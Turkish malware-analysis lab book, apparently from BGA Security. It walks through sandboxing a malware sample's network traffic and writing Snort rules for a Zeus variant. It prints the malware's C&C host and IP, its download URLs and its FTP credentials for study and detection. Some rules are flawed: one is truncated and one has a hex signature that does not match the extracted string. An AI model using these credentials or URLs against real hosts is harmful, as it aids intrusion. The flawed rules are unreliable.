● Inetsim, Fakenet
● Wireshark
Adımlar:
1. Adım
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Zararlının gerçekte bağlantı kurmaya çalıştığı C&C veya benzer işlem gören uzak sistem
yerine sahte servislerin çalıştığı makineye bağlantı kurmasını sağlamak için DNS üzerinden
basit birkaç yöntem kullanılabilir. Bunlardan ilki
“SistemDizini:WindowsSystem32Driversetchosts” dosyasına zararlının bağlantı kurmak
isteği alanadını ve sahte servislerin çalıştığı makinenin IP’sini eşleştiren bir satır eklenebilir
(10.10.10.128 ftp.zararli.com). Bunun yerine yapılan bütün DNS sorgularına sahte servislerin
çalıştığı makinenin IP addresini içeren bir cevap döndüren ApateDNS aracını kullanmak bazı
durumlarda daha pratik olabilir. Bunun için ApateDNS aracı çalıştırılıp “DNS Reply IP”
bölümüne yönlendirilmek istenilen sistemin IP adresi girilip “Start Server” tuşuna basılır.
Sistemde birden fazla ağ arayüzü varsa “Selected Interface” bölümünden ilgili arayüz
seçilmelidir.
Başka bir ihtimal de zararlının bir alanadı yerine doğrudan uzak siteme IP adresi ile
erişmesidir. DNS sorgularına sahte cevap gönderme yöntemi bu durumda işe
yaramayacaktır.
Başka bir ihtimal de zararlının bir alanadı yerine doğrudan uzak siteme IP adresi ile
erişmesidir. DNS sorgularına sahte cevap gönderme yöntemi bu durumda işe
yaramayacaktır. Böyle bir durumda iptables veya başka bir NAT desteği bulunan yazılım
aracılığıyla analiz makinesinden (WinXP) giden paketlerin hedef IP adresi veya belli bir IP ‘ye
giden paketlerin hedef IP adresi değiştirilerek bağlantı sahte servislerin bulunduğu (REMnux)
sisteme yönlendirilebilir. Alternatif olarak zararlının dinamik analizi sırasında hedef adresi
hafızada değiştirerek doğrudan istenilen adrese bağlanması da sağlanabilir.
2. Adım
Sahte servislerin çalışacağı sistemde(REMnux) konsoldan “inetsim” komutu girilerek servisler
başlatılır. Servislerin tam listesi ve dinledikleri portlar bu aşamada konsolda görülebilir. Daha
sonra Wireshark root olarak çalıştırılıp “Capture->Interfaces” menüsünden ilgili
arayüz(örnekte eth0) seçilerek dinlenmeye başlanır. Alternatif olarak Windows üzerinde
çalışan Fakenet aracı kullanılarak, ikinci bir sisteme ihtiyaç kalmadan, servisler analiz
makinesinde çalıştırılabilir.
3. Adım
Zararlı yazılım çalıştırılıp ApateDNS ekranından yaptığı DNS sorguları izlenir. Örnek zararlının
“darlstop123.p.ht” ve “whatismyip.akamai.com” adresleri için DNS istekleri gönderdiği
görülüyor.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
4. Adım
Bu aşamada isteğe göre REMnux’e geri dönülerek Wireshark’ın yakalamış olduğu ağ trafiği
incelenebilir veya bir debugger aracılığıyla zararlının başarılı bağlantı durumunda
gerçekleştirdiği aktiviteler dinamik olarak analiz edilebilir. Örnekteki zararlı için Wireshark
ekranına bakıldığında zararlının FTP ve HTTP servislerine bağlanmaya çalıştığı görülmektedir.
HTTP üzerinden GET isteği ile anasayfayı almaya çalıştığıgörülmektedir.
“whatismyip.akamai.com” adresine bağlanıldığında bunu aslında sistemin internete çıkış
IP’sini öğrenmek için yaptığı anlaşılıyor.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
FTP bağlantısının detaylarını öğrenmek için Wireshark’ta bağlantıya dahil olan paketlerden
(satırlardan) herhangi birine sağ tıklayıp “Follow TCP Stream” seçilerek bağlantı boyunca
yapılan veri alışverişi toplu halde görülebilir. Örnek bağlantının içeriği şu şekildedir:
220 INetSim FTP Service ready.
USER u489099192
331 Please specify the password.
PASS 031025
230 Login successful.
TYPE I
200 Switching to BINARY mode.
PASV
500 Unknown command.
TYPE I
200 Switching to BINARY mode.
PORT 10,10,10,130,19,137
200 PORT command successful.
STOR NO_PWDS_report_06-02-2014_22-23-47-BB9E89D3316C6D89E8BA3AAF96AA0063-
IIIA.bin
150 Ok to send data.
226 File receive OK.
İçerikten de açıkça görüldüğü üzere zararlı, FTP sunucusuna bağlantı kurarken kullanıcı adı ve
şifre olarak “u489099192 | 031025” değerlerini kullanıyor. Daha sonra da bir dosya
yüklemeye çalışıyor.
Elde edilen bu tarz bilgiler zararlıyı etkisizleştirmek için kullanılabilecek olsa da bu bilgileri
kullanmak için bazı yasal süreçlerin işletilmesi gerekebilir. Zararlıyı etkisizleştirmekten kasıt
bulaştığı sistemlerden silmek yerine komuta merkezini devre dışı bırakarak bulaştığı
sistemlerden bilgi sızdırmasını veya komuta merkezinden kontrol edilmesini engellemektir.
Sonuçta elde edilen bilgileri doğrulamak adına FTP sunucusuna bağlantı kurulmuş ama başka
bir işlem yapılmamıştır.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-MA-?
Uygulama Adı: Snort Kullanarak Zararlı Yazılım Tespiti
Amaç: Zararlı yazılımın ağ trafiğinin tanınmasını sağlayacak kendine has özelliklerini tespit
edip bu özellikleri yakalayacak Snort kuralları yazmak.
Lab senaryosu: HTTP ve SMTP trafiği oluşturan bir çeşit Zeus türevi bir sanal makineye
bulaştırılıp bu makinenin internete çıktığı ağ arayüzü Wireshark ve Snort ile dinlenir. Elde
edilen ağ verisine göre Snort kuralları yazılarak zararlı tespit edilmeye çalışılır.
Kullanılan Araçlar:
● Zeus türevi
(sha256:689ef03339c961f6c63b77f902de1bb022f83c2c89a1f63999edf720cfa2081b)
● Snort
● Snorby
● Wireshark
Adımlar:
1. Adım
Örnekte kullanılan lab yapısı şu şekildedir. Windows XP internete NAT ile çıkacak şekilde
ayarlanmış tek ağ arayüzü bulunan bir sanal makinede kuruludur. Snortun kurulu olduğu
SecurityOnion dağıtımı ise, bir tanesi Windows XP ile aynı sanal ağa bağlı iki ağ arayüzü
bulunan başka bir sanal makineye kurulmuştur. Snort, ortak arayüzü dinleyecek şekilde
ayarlanmıştır. Diğer arayüz de bu makineye yönetim amaçlı erişim için ayrılmıştır.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2. Adım
Örnek zararlının ağ verisi incelendiğinde sırasıyla şu işlemleri yaptığı görülüyor. (Farklı
çalıştırmalarda sonuçlar değişiklik gösterebilir)
● “http://mediafire.com/?ucc9c99b4o1b94i” adresinden b.exe isimli bir dosya
indiriyor.
● srv5050.co (212.227.141.241) adresininin 5050 numaralı portuna IRC bağlantısı kurup
bir takım kanallara bağlanıyor.
● “http://mediafire.com/?kf2lhk53bpfem63” adresinden go.exe isimli başka bir dosya
indiriyor.
● “http://karmachemie.de/rec.exe” (213.165.86.175) adresinden rec.exe isimli bir
dosya daha indiriyor.
● “http://jasperrussell.com/324.txt” (74.208.185.227) adresinden 324.txt isimli bir
dosya indiriyor. Bu dosya “yahoo.com” uzantılı 28000 farklı mail adresi içeriyor.
● Son olarak listedeki mail adreslerine örnekteki gibi bir mail gönderiyor.
From: Edward09@4251.com
To: sadiabuttar@yahoo.com
Subject: Pharmacy Express
Date: Sun, 27 Jan 2013 23:39:52 -0800
Mime-Version: 1.0
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Message-ID: <88397533550593.79168.qmail@hordzd>
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
http://doctorcrib.com
Zararlının çalışma anında aktif olmayan farklı özellikleri de vardır fakat buradaki amaç
zararlıyı tamamen analiz etmek değil örnek ağ verisini kullanarak bu aktiviteleri tanımlayacak
kurallar yazmaktır.
3. Adım
Eldeki veriler kullanılarak sadece zararlının kullandığı IP adresleri ve/veya alanadları
belirlenip, bunları tanımlayacak kurallar yazılır. Veriler değerlendirildiğinde, mediafire veya
yahoo’ya ait adresler için kurallar yazmanın makul olmayacağı ancak srv5050.co,
karmachemie.de ve jasperrussell.com adresleri için yazılabileceği görülmektedir. Bu adresler
doğrudan zararlıyı yayanlar tarafından alınmış veya sonradan ele geçirilmiş sistemler
olabilirler. Her iki durumda da kullanıcılar için tehlike arz etmektedirler. Örneğin srv5050.co
adresine yapılacak DNS sorgularını yakalayacak bir kural şu şekilde yazılabilir.
alert udp any any -> any 53 (msg:"Zeus variant DNS query"; content:"srv5050"; priority:1;
sid:9000554; rev:1;)
Doğrudan IP adresine yapılan bağlantıları yakalamak içinse şöyle bir kural kullanılabilir.
alert tcp $HOME_NET any -> 212.227.141.241 any (msg:"Zeus variant C&C IP";
flow:to_server; priority:1; sid:9000555; rev:1;)
Tabii ağ yapısına göre bu kuralları iyileştirmek mümkün.
İlk kural çalıştığında elde edilen Snorby görüntüsü:
4. Adım
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Söz konusu zararlıyı doğrudan dosya indirme aşamasında tespit etmek için çalıştırılabilir
dosyadan elde edilen bir imza kullanılabilir. Zararlının farklı türevlerinin aynı imzayı taşımama
ihtimali yüksek olmasından dolayı tek başına çok etkili bir yöntem olmasa da bu yöntem
diğerlerinin yanında kullanılabilir.
Öncelikle çalıştırılabilir dosyaya bir imza tanımlanır. Basitçe şu adımlar izlenebilir.
● strings zararlı.exe > strings.txt komutu ile zararlının içerdiği ve okunabilir olan
karakter dizileri elde edilip kendine has olabilecek değerler aranır. Örnek zararlıda
440. satırdaki “signing_of_the_Treaty_of_Karlowitz.exe” değeri kullanılabilir. Bu
değerin tam olarak belirtilen yerde bulunması büyük olasılıkla zararlıyı tanımaya
yetecektir.
● Daha sonra Snort’un ikili dosyanın içeriğinde doğrudan karşılaştırma yapabilmesi için
gerekli değerler elde gerekir. hexdump -C zararlı.exe > hexdump.txt komutu
verilerek dosyanın hex/ASCII dökümü elde edilir. ASCII bölümden belirlenen string
bulunup hex karşılığı belirlenir. Örnekte
Başlangıç adresi: 0x0000925A
Değer: 73 69 67 6e 69 6e 67 5f 6f 66 5f 74 68 65 5f 54 72 65 61 74 79 5f 6f 66 5f 4b
61 72 6c 6f 77 69 74 7a 2e 65 78 65
şeklindedir.
● Son olarak aşağıdaki gibi bir kural yazılarak imzayı içeren paketlerde uyarı verilmesi
sağlanır.
alert tcp any any -> $HOME_NET any (msg:"Zeus variant binary";
flow:from_server,established; content:"|73 69 67 6e 69 6e 67 5f 6f 66 5f 74 68 65 5f
54 72 65 61 74 79 79 5f 6f 66 5f 4b 61 72 6c 6f 77 69 74 7a 2e 65 78 65|";
sid:9000556; rev:1;)
Kuralı daha da özelliştirmek için “offset” değeri eklenebilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
5. Adım
Son adımda zararlının ağ hareketleri incelenerek özel bir desen oluşturulmaya çalışılır. Örnek
zaralının spamgönderimleri incelendiğinde gönderici adreslerinin belli bir formatta
oluşturulduğu fark edilmiştir. Örneğin,
MAIL FROM:<Donald86@1008.com>
MAIL FROM:<Kevin08@3184.com>
MAIL FROM:<Michael36@6998.com>
şeklindeki gönderici adresleri (isim)(2rakam)@(4rakam).com desenine uymaktadır.
Desen belirlendikten sonra bu desene uygun bir Perl düzenli ifadesi yazılır. Bu desen “/<[a-
z]+[0-9]{2}@[0-9]{4}.com>/i” düzenli ifadesi ile karşılanabilir. Yazılan düzenli ifadeleri online
olarak test etmek için “www.regexe.com” adresi oldukça kullanışlıdır.
SMTP üzerinden mail gönderimlerinde belirlenen deseni arayacak Snort kuralını temel olarak
aşağıdaki gibidir.
alert tcp $HOME_NET any -> $EXTERNAL_NET 25 (msg:"Zeus variant sending spam";
flow:to_server,established; pcre:"/<[a-z]+[0-9]{2}@[0-9]{4}.com>/i"; priority:1; sid:900$
Uygulama No: BGA-MA-?
Uygulama Adı: SSL Kullanan Zararlı Yazılım Trafiğini Yönlendirme ve
İnceleme
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Amaç: SSL kullanan zararlı yazılımın trafiğini şifresiz halde yakalayıp incelemek.
Lab senaryosu: HTTPS kullanarak komuta merkezi ile haberleşmeye çalışan zararlı yazılımın
trafiği iptables yardımıyla Burp Suite web proxy yazılımına yönlendirilerek analiz edilir.
Kullanılan Araçlar:
● Burp Suite
● iptables
● msfpayload
Adımlar:
1. Adım
Zararlının çalıştırılacağı makine(örnekte WinXP) ve trafik analizi için kullanılacak
makine(örnekte Kali Linux) tercihen host-only bir ağ arayüzü ile bağlanır. WinXP(örnekte:
10.10.10.50) varsayılan ağ geçidi olarak Linux makineyi(örnekte: 10.10.10.1) kullanacak
şekilde ayarlanır.
2. Adım
Linux makineyi gateway olarak kullanabilmek için paket yönlendirme ve IP masquerade
özellikleri aktif edilir. Terminalde
“sysctl -w net.ipv4.ip_forward=1” komutu ile paket yönlendirme aktif edilir.
“sysctl -a | grep net.ipv4.ip_forward” komutu ile değerin 1 olarak olduğu
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı

Más contenido relacionado

La actualidad más candente

Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugayFuat Ulugay, CISSP
 
Hacklenmis Linux Sistem Analizi
Hacklenmis Linux Sistem AnaliziHacklenmis Linux Sistem Analizi
Hacklenmis Linux Sistem AnaliziBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12BGA Cyber Security
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBGA Cyber Security
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab KitabıBGA Cyber Security
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ BGA Cyber Security
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziBGA Cyber Security
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriBGA Cyber Security
 
Hacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziHacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziBGA Cyber Security
 
Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1BGA Cyber Security
 
Windows Ağlarda Saldırı Tespiti
Windows Ağlarda Saldırı TespitiWindows Ağlarda Saldırı Tespiti
Windows Ağlarda Saldırı TespitiSparta Bilişim
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziBGA Cyber Security
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıBGA Cyber Security
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA Cyber Security
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBGA Cyber Security
 

La actualidad más candente (20)

Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat Ulugay
 
Hacklenmis Linux Sistem Analizi
Hacklenmis Linux Sistem AnaliziHacklenmis Linux Sistem Analizi
Hacklenmis Linux Sistem Analizi
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
 
10 Adımda Sızma Testleri
10 Adımda Sızma Testleri10 Adımda Sızma Testleri
10 Adımda Sızma Testleri
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem Analizi
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
 
Hacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziHacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu Analizi
 
Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1Log Yönetimi ve Saldırı Analizi Eğitimi -1
Log Yönetimi ve Saldırı Analizi Eğitimi -1
 
Windows Ağlarda Saldırı Tespiti
Windows Ağlarda Saldırı TespitiWindows Ağlarda Saldırı Tespiti
Windows Ağlarda Saldırı Tespiti
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
 
Uygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim NotlarıUygulamalı Ağ Güvenliği Eğitim Notları
Uygulamalı Ağ Güvenliği Eğitim Notları
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması Çözümleri
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
 
Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 

Destacado

Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıBGA Cyber Security
 
SynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma YollarıSynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma YollarıBGA Cyber Security
 
Temel Kavramlar, DoS/DDoS Saldırıları ve Çeşitleri
Temel Kavramlar, DoS/DDoS Saldırıları ve ÇeşitleriTemel Kavramlar, DoS/DDoS Saldırıları ve Çeşitleri
Temel Kavramlar, DoS/DDoS Saldırıları ve ÇeşitleriBGA Cyber Security
 
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM GüvenliğiDDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM GüvenliğiBGA Cyber Security
 
DDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma YollarıDDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma Yollarınetsec
 
Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri BGA Cyber Security
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat UlugayFuat Ulugay, CISSP
 
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSECSosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSECBGA Cyber Security
 
Bilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBGA Cyber Security
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıBGA Cyber Security
 
Pfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router EğitimiPfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router EğitimiBGA Cyber Security
 
Adli Bilişim Açısından E-posta Sistemi
Adli Bilişim Açısından E-posta SistemiAdli Bilişim Açısından E-posta Sistemi
Adli Bilişim Açısından E-posta SistemiBGA Cyber Security
 
DOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma YöntemleriDOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma YöntemleriBGA Cyber Security
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiBGA Cyber Security
 
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma YöntemleriAdli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma YöntemleriBGA Cyber Security
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriBGA Cyber Security
 

Destacado (20)

Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
SynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma YollarıSynFlood DDOS Saldırıları ve Korunma Yolları
SynFlood DDOS Saldırıları ve Korunma Yolları
 
Temel Kavramlar, DoS/DDoS Saldırıları ve Çeşitleri
Temel Kavramlar, DoS/DDoS Saldırıları ve ÇeşitleriTemel Kavramlar, DoS/DDoS Saldırıları ve Çeşitleri
Temel Kavramlar, DoS/DDoS Saldırıları ve Çeşitleri
 
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM GüvenliğiDDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
DDoS Saldırıları ve Korunma Yöntemleri ile E-posta ve ATM Güvenliği
 
DDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma YollarıDDOS Saldırıları ve Korunma Yolları
DDOS Saldırıları ve Korunma Yolları
 
Web Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liğiWeb Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liği
 
Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri Gerçek Dünyadan Siber Saldırı Örnekleri
Gerçek Dünyadan Siber Saldırı Örnekleri
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat Ulugay
 
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSECSosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
Sosyal Medyada Anonim Hesaplar Nasıl Tespit Edilir? - NETSEC
 
Bilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma TestleriBilgi Güvenliğinde Sızma Testleri
Bilgi Güvenliğinde Sızma Testleri
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
 
Pfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router EğitimiPfsense Firewall ve Router Eğitimi
Pfsense Firewall ve Router Eğitimi
 
Adli Bilişim Açısından E-posta Sistemi
Adli Bilişim Açısından E-posta SistemiAdli Bilişim Açısından E-posta Sistemi
Adli Bilişim Açısından E-posta Sistemi
 
Kablosuz Ağlarda Güvenlik
Kablosuz Ağlarda GüvenlikKablosuz Ağlarda Güvenlik
Kablosuz Ağlarda Güvenlik
 
DOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma YöntemleriDOS, DDOS Atakları ve Korunma Yöntemleri
DOS, DDOS Atakları ve Korunma Yöntemleri
 
BGA Eğitim Sunum
BGA Eğitim SunumBGA Eğitim Sunum
BGA Eğitim Sunum
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama Güvenliği
 
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma YöntemleriAdli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
Adli Bilişim Açısından DoS ve DDoS Saldırıları ve Korunma Yöntemleri
 
Web 2.0 Güvenliği
Web 2.0 GüvenliğiWeb 2.0 Güvenliği
Web 2.0 Güvenliği
 
Yazılım Güvenliği Temelleri
Yazılım Güvenliği TemelleriYazılım Güvenliği Temelleri
Yazılım Güvenliği Temelleri
 

Similar a Zararlı Yazılım Analizi Eğitimi Lab Kitabı

Windows 7 Ortamında Zararlı Yazılım Analizi
